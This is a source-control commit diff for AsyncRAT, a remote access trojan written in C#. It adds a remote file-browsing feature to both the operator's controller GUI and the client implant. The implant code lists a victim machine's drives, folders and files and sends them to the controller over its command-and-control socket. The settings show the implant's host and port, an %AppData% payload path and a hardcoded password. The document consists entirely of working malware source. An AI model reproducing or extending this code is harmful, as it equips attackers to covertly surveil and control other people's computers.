UPDATE
This commit is contained in:
parent
4c441f2c07
commit
7ed5a03f2d
@ -67,6 +67,12 @@
|
||||
<Compile Include="Forms\Builder.Designer.cs">
|
||||
<DependentUpon>Builder.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Forms\FileManager.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Forms\FileManager.Designer.cs">
|
||||
<DependentUpon>FileManager.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Forms\Form1.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
@ -148,6 +154,9 @@
|
||||
<EmbeddedResource Include="Forms\Builder.resx">
|
||||
<DependentUpon>Builder.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="Forms\FileManager.resx">
|
||||
<DependentUpon>FileManager.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="Forms\Form1.resx">
|
||||
<DependentUpon>Form1.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
|
136
AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.Designer.cs
generated
Normal file
136
AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.Designer.cs
generated
Normal file
@ -0,0 +1,136 @@
|
||||
namespace AsyncRAT_Sharp.Forms
|
||||
{
|
||||
partial class FileManager
|
||||
{
|
||||
/// <summary>
|
||||
/// Required designer variable.
|
||||
/// </summary>
|
||||
private System.ComponentModel.IContainer components = null;
|
||||
|
||||
/// <summary>
|
||||
/// Clean up any resources being used.
|
||||
/// </summary>
|
||||
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && (components != null))
|
||||
{
|
||||
components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
#region Windows Form Designer generated code
|
||||
|
||||
/// <summary>
|
||||
/// Required method for Designer support - do not modify
|
||||
/// the contents of this method with the code editor.
|
||||
/// </summary>
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = new System.ComponentModel.Container();
|
||||
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FileManager));
|
||||
this.listView1 = new System.Windows.Forms.ListView();
|
||||
this.imageList1 = new System.Windows.Forms.ImageList(this.components);
|
||||
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
|
||||
this.backToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
|
||||
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||
this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.statusStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// listView1
|
||||
//
|
||||
this.listView1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
|
||||
| System.Windows.Forms.AnchorStyles.Left)
|
||||
| System.Windows.Forms.AnchorStyles.Right)));
|
||||
this.listView1.BorderStyle = System.Windows.Forms.BorderStyle.None;
|
||||
this.listView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.listView1.LargeImageList = this.imageList1;
|
||||
this.listView1.Location = new System.Drawing.Point(0, 1);
|
||||
this.listView1.Name = "listView1";
|
||||
this.listView1.ShowItemToolTips = true;
|
||||
this.listView1.Size = new System.Drawing.Size(1016, 669);
|
||||
this.listView1.SmallImageList = this.imageList1;
|
||||
this.listView1.TabIndex = 0;
|
||||
this.listView1.UseCompatibleStateImageBehavior = false;
|
||||
this.listView1.DoubleClick += new System.EventHandler(this.listView1_DoubleClick);
|
||||
//
|
||||
// imageList1
|
||||
//
|
||||
this.imageList1.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageList1.ImageStream")));
|
||||
this.imageList1.TransparentColor = System.Drawing.Color.Transparent;
|
||||
this.imageList1.Images.SetKeyName(0, "AsyncFolder.ico");
|
||||
this.imageList1.Images.SetKeyName(1, "AsyncHDDFixed.png");
|
||||
this.imageList1.Images.SetKeyName(2, "AsyncUSB.png");
|
||||
//
|
||||
// contextMenuStrip1
|
||||
//
|
||||
this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
|
||||
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.backToolStripMenuItem});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new System.Drawing.Size(121, 34);
|
||||
//
|
||||
// backToolStripMenuItem
|
||||
//
|
||||
this.backToolStripMenuItem.Name = "backToolStripMenuItem";
|
||||
this.backToolStripMenuItem.Size = new System.Drawing.Size(120, 30);
|
||||
this.backToolStripMenuItem.Text = "Back";
|
||||
this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click);
|
||||
//
|
||||
// statusStrip1
|
||||
//
|
||||
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
|
||||
this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.toolStripStatusLabel1,
|
||||
this.toolStripStatusLabel2});
|
||||
this.statusStrip1.Location = new System.Drawing.Point(0, 673);
|
||||
this.statusStrip1.Name = "statusStrip1";
|
||||
this.statusStrip1.Size = new System.Drawing.Size(1016, 30);
|
||||
this.statusStrip1.TabIndex = 2;
|
||||
this.statusStrip1.Text = "statusStrip1";
|
||||
//
|
||||
// toolStripStatusLabel1
|
||||
//
|
||||
this.toolStripStatusLabel1.Name = "toolStripStatusLabel1";
|
||||
this.toolStripStatusLabel1.Size = new System.Drawing.Size(20, 25);
|
||||
this.toolStripStatusLabel1.Text = "..";
|
||||
//
|
||||
// toolStripStatusLabel2
|
||||
//
|
||||
this.toolStripStatusLabel2.Name = "toolStripStatusLabel2";
|
||||
this.toolStripStatusLabel2.Size = new System.Drawing.Size(20, 25);
|
||||
this.toolStripStatusLabel2.Text = "..";
|
||||
//
|
||||
// FileManager
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.ClientSize = new System.Drawing.Size(1016, 703);
|
||||
this.Controls.Add(this.statusStrip1);
|
||||
this.Controls.Add(this.listView1);
|
||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||
this.Name = "FileManager";
|
||||
this.Text = "FileManager";
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.statusStrip1.ResumeLayout(false);
|
||||
this.statusStrip1.PerformLayout();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
public System.Windows.Forms.ListView listView1;
|
||||
public System.Windows.Forms.ImageList imageList1;
|
||||
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
|
||||
private System.Windows.Forms.ToolStripMenuItem backToolStripMenuItem;
|
||||
public System.Windows.Forms.StatusStrip statusStrip1;
|
||||
public System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel1;
|
||||
public System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel2;
|
||||
}
|
||||
}
|
70
AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs
Normal file
70
AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs
Normal file
@ -0,0 +1,70 @@
|
||||
using AsyncRAT_Sharp.MessagePack;
|
||||
using AsyncRAT_Sharp.Sockets;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Data;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace AsyncRAT_Sharp.Forms
|
||||
{
|
||||
public partial class FileManager : Form
|
||||
{
|
||||
public FileManager()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
public Form1 F { get; set; }
|
||||
internal Clients C { get; set; }
|
||||
|
||||
private void listView1_DoubleClick(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count == 1)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "getPath";
|
||||
msgpack.ForcePathObject("Path").AsString = listView1.SelectedItems[0].ToolTipText;
|
||||
C.BeginSend(msgpack.Encode2Bytes());
|
||||
toolStripStatusLabel1.Text = listView1.SelectedItems[0].ToolTipText;
|
||||
}
|
||||
}
|
||||
|
||||
private void backToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
string path = toolStripStatusLabel1.Text;
|
||||
if (path.Length == 2)
|
||||
{
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||
C.BeginSend(msgpack.Encode2Bytes());
|
||||
return;
|
||||
}
|
||||
path = path.Remove(path.LastIndexOfAny(new char[] { '\\' }, path.LastIndexOf('\\')));
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "getPath";
|
||||
msgpack.ForcePathObject("Path").AsString = path + "\\";
|
||||
toolStripStatusLabel1.Text = path;
|
||||
C.BeginSend(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||
C.BeginSend(msgpack.Encode2Bytes());
|
||||
return;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
1361
AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.resx
Normal file
1361
AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.resx
Normal file
File diff suppressed because it is too large
Load Diff
12
AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
generated
12
AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
generated
@ -50,6 +50,7 @@
|
||||
this.pROCESSMANAGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator();
|
||||
this.bUILDERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.fILEMANAGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
|
||||
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||
this.ping = new System.Windows.Forms.Timer(this.components);
|
||||
@ -132,11 +133,12 @@
|
||||
this.sENDFILEToolStripMenuItem,
|
||||
this.sENDFILETOMEMORYToolStripMenuItem,
|
||||
this.rEMOTEDESKTOPToolStripMenuItem,
|
||||
this.fILEMANAGERToolStripMenuItem,
|
||||
this.pROCESSMANAGERToolStripMenuItem,
|
||||
this.toolStripSeparator2,
|
||||
this.bUILDERToolStripMenuItem});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new System.Drawing.Size(275, 226);
|
||||
this.contextMenuStrip1.Size = new System.Drawing.Size(275, 256);
|
||||
//
|
||||
// cLIENTOPTIONSToolStripMenuItem
|
||||
//
|
||||
@ -221,6 +223,13 @@
|
||||
this.bUILDERToolStripMenuItem.Text = "BUILDER";
|
||||
this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click);
|
||||
//
|
||||
// fILEMANAGERToolStripMenuItem
|
||||
//
|
||||
this.fILEMANAGERToolStripMenuItem.Name = "fILEMANAGERToolStripMenuItem";
|
||||
this.fILEMANAGERToolStripMenuItem.Size = new System.Drawing.Size(274, 30);
|
||||
this.fILEMANAGERToolStripMenuItem.Text = "FILE MANAGER";
|
||||
this.fILEMANAGERToolStripMenuItem.Click += new System.EventHandler(this.fILEMANAGERToolStripMenuItem_Click);
|
||||
//
|
||||
// statusStrip1
|
||||
//
|
||||
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
|
||||
@ -368,6 +377,7 @@
|
||||
public System.Windows.Forms.ListView listView2;
|
||||
private System.Windows.Forms.ColumnHeader columnHeader1;
|
||||
private System.Windows.Forms.ColumnHeader columnHeader2;
|
||||
private System.Windows.Forms.ToolStripMenuItem fILEMANAGERToolStripMenuItem;
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -123,7 +123,7 @@ namespace AsyncRAT_Sharp
|
||||
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
|
||||
foreach (Clients CL in Settings.Online.ToList())
|
||||
{
|
||||
await Task.Run(() =>
|
||||
await Task.Run(() =>
|
||||
{
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
});
|
||||
@ -373,5 +373,42 @@ namespace AsyncRAT_Sharp
|
||||
{
|
||||
builder.ShowDialog();
|
||||
}
|
||||
|
||||
private void fILEMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||
this.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
FileManager FM = (FileManager)Application.OpenForms["fileManager:" + CL.ID];
|
||||
if (FM == null)
|
||||
{
|
||||
FM = new FileManager
|
||||
{
|
||||
Name = "fileManager:" + CL.ID,
|
||||
Text = "fileManager:" + CL.ID,
|
||||
F = this,
|
||||
C = CL
|
||||
};
|
||||
FM.Show();
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -12,7 +12,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
||||
{
|
||||
class HandlePacket
|
||||
{
|
||||
private static cGeoMain cNewGeoUse = new cGeoMain();
|
||||
private static cGeoMain cNewGeoUse = new cGeoMain();
|
||||
public static void Read(object Obj)
|
||||
{
|
||||
try
|
||||
@ -139,6 +139,103 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case "fileManager":
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
||||
{
|
||||
case "getDrivers":
|
||||
{
|
||||
if (Program.form1.InvokeRequired)
|
||||
{
|
||||
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
FileManager FM = (FileManager)Application.OpenForms["fileManager:" + Client.ID];
|
||||
if (FM != null)
|
||||
{
|
||||
FM.listView1.Items.Clear();
|
||||
string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
|
||||
for (int i = 0; i < driver.Length; i++)
|
||||
{
|
||||
if (driver[i].Length > 0)
|
||||
{
|
||||
ListViewItem lv = new ListViewItem();
|
||||
lv.Text = driver[i];
|
||||
lv.ToolTipText = driver[i];
|
||||
if (driver[i + 1] == "Fixed") lv.ImageIndex = 1;
|
||||
else if (driver[i + 1] == "Removable") lv.ImageIndex = 2;
|
||||
else lv.ImageIndex = 1;
|
||||
FM.listView1.Items.Add(lv);
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case "getPath":
|
||||
{
|
||||
if (Program.form1.InvokeRequired)
|
||||
{
|
||||
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
FileManager FM = (FileManager)Application.OpenForms["fileManager:" + Client.ID];
|
||||
if (FM != null)
|
||||
{
|
||||
FM.listView1.Items.Clear();
|
||||
FM.listView1.Groups.Clear();
|
||||
string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
|
||||
ListViewGroup groupFolder = new ListViewGroup("Folders");
|
||||
FM.listView1.Groups.Add(groupFolder);
|
||||
int numFolders = 0;
|
||||
for (int i = 0; i < _folder.Length; i++)
|
||||
{
|
||||
if (_folder[i].Length > 0)
|
||||
{
|
||||
ListViewItem lv = new ListViewItem();
|
||||
lv.Text = _folder[i];
|
||||
lv.ToolTipText = _folder[i + 1];
|
||||
lv.Group = groupFolder;
|
||||
lv.ImageIndex = 0;
|
||||
FM.listView1.Items.Add(lv);
|
||||
numFolders += 1;
|
||||
}
|
||||
i += 1;
|
||||
|
||||
}
|
||||
|
||||
string[] _file = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
|
||||
ListViewGroup groupFile = new ListViewGroup("Files");
|
||||
FM.listView1.Groups.Add(groupFile);
|
||||
int numFiles = 0;
|
||||
for (int i = 0; i < _file.Length; i++)
|
||||
{
|
||||
if (_file[i].Length > 0)
|
||||
{
|
||||
ListViewItem lv = new ListViewItem();
|
||||
lv.Text = Path.GetFileName(_file[i]);
|
||||
lv.SubItems.Add(_file[i + 1]);
|
||||
lv.ToolTipText = _file[i];
|
||||
Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_file[i + 2])));
|
||||
FM.imageList1.Images.Add(_file[i + 1], im);
|
||||
lv.ImageKey = _file[i + 1];
|
||||
lv.Group = groupFile;
|
||||
FM.listView1.Items.Add(lv);
|
||||
numFiles += 1;
|
||||
}
|
||||
i += 2;
|
||||
}
|
||||
FM.toolStripStatusLabel2.Text = $" Folder[{numFolders.ToString()}] Files[{numFiles.ToString()}]";
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
|
Binary file not shown.
@ -9,7 +9,7 @@ namespace AsyncRAT_Sharp
|
||||
public static List<Clients> Online = new List<Clients>();
|
||||
public static List<string> Blocked = new List<string>();
|
||||
public static string Port = "6606,7707,8808";
|
||||
public static readonly string Version = "AsyncRAT 0.2.8A";
|
||||
public static readonly string Version = "AsyncRAT 0.2.8E";
|
||||
public static long Sent = 0;
|
||||
public static long Received = 0;
|
||||
public static string Password = "NYAN CAT";
|
||||
|
@ -12,6 +12,7 @@
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
<TargetFrameworkProfile>Client</TargetFrameworkProfile>
|
||||
<IsWebBootstrapper>false</IsWebBootstrapper>
|
||||
<PublishUrl>publish\</PublishUrl>
|
||||
<Install>true</Install>
|
||||
<InstallFrom>Disk</InstallFrom>
|
||||
@ -24,7 +25,6 @@
|
||||
<MapFileExtensions>true</MapFileExtensions>
|
||||
<ApplicationRevision>0</ApplicationRevision>
|
||||
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
|
||||
<IsWebBootstrapper>false</IsWebBootstrapper>
|
||||
<UseApplicationTrust>false</UseApplicationTrust>
|
||||
<BootstrapperEnabled>true</BootstrapperEnabled>
|
||||
</PropertyGroup>
|
||||
@ -67,6 +67,7 @@
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Cryptography\Aes256.cs" />
|
||||
<Compile Include="Handle Packet\FileManager.cs" />
|
||||
<Compile Include="Handle Packet\HandlePacket.cs" />
|
||||
<Compile Include="Handle Packet\ProcessManager.cs" />
|
||||
<Compile Include="Handle Packet\RemoteDesktop.cs" />
|
||||
|
65
AsyncRAT-C#/Client/Handle Packet/FileManager.cs
Normal file
65
AsyncRAT-C#/Client/Handle Packet/FileManager.cs
Normal file
@ -0,0 +1,65 @@
|
||||
using Client.MessagePack;
|
||||
using Client.Sockets;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
class FileManager
|
||||
{
|
||||
|
||||
public void GetDrivers()
|
||||
{
|
||||
DriveInfo[] allDrives = DriveInfo.GetDrives();
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||
StringBuilder sbDriver = new StringBuilder();
|
||||
foreach (DriveInfo d in allDrives)
|
||||
{
|
||||
if (d.IsReady)
|
||||
{
|
||||
sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>");
|
||||
}
|
||||
msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString();
|
||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
|
||||
public void GetPath(string path)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "getPath";
|
||||
StringBuilder sbFolder = new StringBuilder();
|
||||
StringBuilder sbFile = new StringBuilder();
|
||||
|
||||
foreach (string folder in Directory.GetDirectories(path))
|
||||
{
|
||||
sbFolder.Append(Path.GetFileName(folder) + "-=>" + Path.GetFullPath(folder) + "-=>");
|
||||
}
|
||||
foreach (string file in Directory.GetFiles(path))
|
||||
{
|
||||
Icon icon = Icon.ExtractAssociatedIcon(file);
|
||||
Bitmap bmpIcon = icon.ToBitmap();
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
bmpIcon.Save(ms, ImageFormat.Png);
|
||||
sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>");
|
||||
}
|
||||
}
|
||||
msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
|
||||
msgpack.ForcePathObject("File").AsString = sbFile.ToString();
|
||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
@ -119,6 +119,28 @@ namespace Client.Handle_Packet
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case "fileManager":
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
||||
{
|
||||
case "getDrivers":
|
||||
{
|
||||
FileManager fileManager = new FileManager();
|
||||
fileManager.GetDrivers();
|
||||
}
|
||||
break;
|
||||
case "getPath":
|
||||
{
|
||||
FileManager fileManager = new FileManager();
|
||||
fileManager.GetPath(unpack_msgpack.ForcePathObject("Path").AsString);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
|
@ -9,7 +9,7 @@ namespace Client
|
||||
{
|
||||
public static readonly string Ports = "6606" ;
|
||||
public static readonly string Host = "127.0.0.1" ;
|
||||
public static readonly string Version = "AsyncRAT 0.2.8A";
|
||||
public static readonly string Version = "AsyncRAT 0.2.8E";
|
||||
public static readonly string Install = "false";
|
||||
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
|
||||
public static string Password = "NYAN CAT";
|
||||
|
Loading…
x
Reference in New Issue
Block a user